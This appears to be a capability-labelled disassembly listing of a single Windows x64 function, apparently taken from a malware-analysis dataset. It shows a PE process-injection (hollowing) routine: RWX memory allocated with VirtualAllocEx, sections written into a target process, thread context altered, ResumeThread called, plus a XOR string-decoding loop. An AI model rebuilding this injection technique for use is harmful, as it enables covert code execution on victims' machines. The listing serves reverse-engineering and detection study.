Function at 0x14012fe50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x58], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rax, rdi
cmp word [rax], 0x5a4d
jne 0x14012fe99
movsxd rdx, dword [rax + 0x3c]
cmp word [rdi + rdx + 0x18], 0x20b
sete dl
movzx edx, dl
jmp 0x14012fe9b
xor edx, edx
mov byte [0x140316bb0], dl
xor ebx, ebx
xor r14d, r14d
cmp byte [0x140316bb0], 0
je 0x14012feb8
movsxd r14, dword [rax + 0x3c]
add r14, rdi
jmp 0x14012fec3
movsxd rbx, dword [rax + 0x3c]
add rbx, rdi
mov eax, dword [rbx]
jmp 0x14012fec6
mov eax, dword [r14]
cmp eax, 0x4550
jne 0x1401304f6
call fcn.140194560
cmp eax, 8
je 0x14012fee2
mov ecx, 0x40
jmp 0x14012fee7
mov ecx, 0x60
call fcn.140130630
mov rdi, rax
call fcn.140194560
cmp eax, 8
je 0x14012ff00
mov ecx, 0x10
jmp 0x14012ff05
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1400eab80
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x10], rsi
mov r15, qword [rsi + 8]
lea rcx, [0x1401c1800]
call fcn.14012efd0
test rax, rax
jne 0x14012ff36
lea rcx, [0x1401c1800]
call fcn.14012eee0
test rax, rax
jne 0x14012ff40
xor r12d, r12d
jmp 0x14012ff52
mov rcx, rax
lea rdx, [0x1401ac218]
call fcn.14012f280
mov r12, rax
test r12, r12
je 0x140130264
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
mov rcx, r15
lea rdx, [0x1401a3a40]
xor r8d, r8d
xor r9d, r9d
call fcn.140076a80
test eax, eax
je 0x140130264
test rdi, 0xffffffffffff0000
je 0x14012ffd4
mov rcx, rdi
mov qword [rbp - 0x68], rcx
lea rcx, [rbp - 0x98]
call fcn.140003130
mov rcx, qword [rbp - 0x68]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0x98]
call fcn.140003180
cmp byte [0x140316bb0], 0
jne 0x14013041b
mov edi, dword [rbx + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
mov r12, rax
call fcn.140194560
cmp eax, 8
je 0x140130424
mov ecx, 4
movsxd rcx, ecx
mov r12, qword [r12 + rcx]
mov rcx, r15
mov rdx, rdi
call fcn.1401308b0
test r15, r15
je 0x1401303f5
test r12, r12
je 0x1401303f5
movzx ecx, byte [0x140316bb0]
test ecx, ecx
jne 0x14013042e
mov r8d, dword [rbx + 0x50]
test ecx, ecx
jne 0x140130437
mov r13d, dword [rbx + 0x54]
test ecx, ecx
jne 0x140130440
movzx edx, word [rbx + 6]
movzx eax, dx
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x14013044a
mov r10d, dword [rbx + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x68], rcx
mov rdx, rdi
mov qword [rbp - 0x70], rdx
mov dword [rbp - 0x5c], r8d
mov r9d, 0x3000
mov dword [rbp - 0x60], r9d
lea rcx, [rbp - 0x98]
call fcn.140003130
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x70]
mov r8d, dword [rbp - 0x5c]
mov r9d, dword [rbp - 0x60]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0x98]
call fcn.140003180
lea r8, [rbp - 0x50]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r15
mov rdx, rsi
mov r9d, r13d
call fcn.140130770
test eax, eax
je 0x1401303cf
cmp byte [0x140316bb0], 0
jne 0x140130453
add rbx, 0xf8
xor r14d, r14d
mov r13d, dword [rbp - 0x44]
test r13d, r13d
jle 0x14013013a
lea r8, [rbp - 0x50]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [rbx + 0x14]
add r8, rdx
mov edx, dword [rbx + 0xc]
add rdx, rsi
mov r9d, dword [rbx + 0x10]
mov rcx, r15
call fcn.140130770
test eax, eax
je 0x1401303a9
add rbx, 0x28
inc r14d
cmp r14d, r13d
jl 0x140130101
cmp byte [0x140316bb0], 0
jne 0x14013045f
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1400eab80
mov rdi, rax
cmp byte [0x140316bb0], 0
je 0x140130469
mov dword [rdi + 0x30], 0x10001b
cmp byte [0x140316bb0], 0
jne 0x140130474
mov rcx, r12
mov rdx, rdi
call fcn.1401306f0
test eax, eax
je 0x140130383
mov ebx, dword [rdi + 0xa4]
mov r14, qword [rdi + 0x88]
mov rcx, rsi
call fcn.140085720
cmp byte [0x140316bb0], 0
jne 0x14013048c
add ebx, 8
movsxd rdx, ebx
lea r9, [rbp - 0x50]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, r15
mov r8, rax
call fcn.140130800
test eax, eax
je 0x1401302b0
cmp byte [0x140316bb0], 0
je 0x140130495
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [0x140316bb0], 0
jne 0x1401304a7
mov rcx, r12
mov rdx, rdi
call fcn.14012f0c0
test eax, eax
je 0x14013028a
mov rcx, r12
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0x98]
call fcn.140003130
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x98]
call fcn.140003180
mov qword [rbp - 0x58], r15
jmp 0x1401304d5
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401add28]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401ad9f0]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401add28]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rsi, [0x1401b1eb8]
lea rcx, [0x14021f268]
mov edx, 0x37
call fcn.140002dc0
xor ecx, ecx
mov edx, ecx
lea r8, [0x1401a3c30]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
cmp r9d, 0x10
jae 0x140130358
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
movzx r8d, word [rsi + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x37
jl 0x1401302ca
mov rcx, rax
call fcn.14007c5b0
mov rsi, rax
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rdi, rax
mov rcx, rdi
mov rdx, rsi
call fcn.140082590
mov rcx, rdi
call fcn.140003290
call fcn.14010cf90
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401adaa0]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401adb10]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401adde0]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401add78]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401ada38]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
mov rdi, qword [r14 + 0x30]
jmp 0x14012ffe4
mov ecx, 8
jmp 0x140130001
mov r8d, dword [r14 + 0x50]
jmp 0x140130038
mov r13d, dword [r14 + 0x54]
jmp 0x140130044
movzx edx, word [r14 + 6]
jmp 0x140130050
mov r10d, dword [r14 + 0x28]
jmp 0x140130062
lea rbx, [r14 + 0x108]
jmp 0x1401300f5
mov ecx, 0x4d0
jmp 0x14013014c
mov dword [rdi], 0x10002
jmp 0x14013016b
mov rcx, r12
mov rdx, rdi
call fcn.140130690
test eax, eax
je 0x14013035d
jmp 0x14013018b
lea rdx, [r14 + 0x10]
jmp 0x1401301b3
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401301ed
mov rcx, r12
mov rdx, rdi
call fcn.14012f130
test eax, eax
je 0x14013023e
jmp 0x14013020d
mov rcx, rsp
call fcn.14013057a
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1401d34b0]
call fcn.140002ca0
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401afcd0]
call fcn.140082590
mov rcx, rsi
call fcn.140003290
xor eax, eax
jmp 0x1401304e2